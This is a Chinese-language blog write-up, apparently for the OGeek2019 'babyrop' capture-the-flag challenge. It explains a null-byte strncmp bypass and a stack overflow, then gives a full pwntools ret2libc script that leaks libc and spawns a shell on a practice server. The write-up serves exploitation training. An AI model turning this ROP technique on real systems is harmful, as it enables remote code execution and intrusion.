[OGeek2019]babyrop

伪代码如下,先获取一个随机数

 然后用strncmp比较用户输入的值和随机数,这里可以用  \x00 来绕过strncmp,因为strlen遇到  \x00 会停止

 因为a1是函数sub_804871F的返回值,那就让a1为 \xff 这样就可以进行栈溢出了

 然后通过栈溢出来getshell,这里用libcsearcher模块

脚本如下

# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *

r=remote('node3.buuoj.cn',29889)
#r=process('./pwn')
elf=ELF('./pwn')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825

payload1='\x00'+'\xff'*0x7
r.sendline(payload1)
r.recvuntil('Correct\n')

#泄露read的got地址
payload='a'*0xe7+'b'*0x4
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)
r.sendline(payload)

read_addr=u32(r.recv(4))
print('[+]read_addr: ',hex(read_addr))

libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

r.sendline(payload1)
r.recvuntil('Correct\n')

payload='a'*0xe7+'b'*0x4
payload+=p32(system_addr)*2+p32(bin_sh_addr)
r.sendline(payload)

r.interactive()

 

 

posted @ 2020-02-26 13:37  高诺琪  阅读(3685)  评论(5编辑  收藏  举报